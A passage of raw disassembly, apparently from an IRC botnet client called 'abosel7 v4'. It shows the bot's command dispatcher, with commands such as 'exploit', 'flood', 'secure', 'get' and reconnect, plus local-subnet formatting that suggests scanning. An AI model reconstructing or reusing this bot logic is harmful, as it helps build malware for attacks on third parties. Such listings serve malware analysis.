		push	offset unk_42BC08
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBE0
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBC0
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 268054Ch
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB88
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB68
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB08
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAEC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAD0
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB4

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42BA64
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA4C
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA48
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA28
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42B9EC
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D4

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A8
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B958
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B924
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B914
		push	offset dword_42B904
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F8
		push	offset dword_42B8E8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset dword_42B884
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B858
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42B818
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset dword_42B7A8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F8
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E8
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9C4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6BC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B690
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9C4

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B654
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B614
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E8

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42B570
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
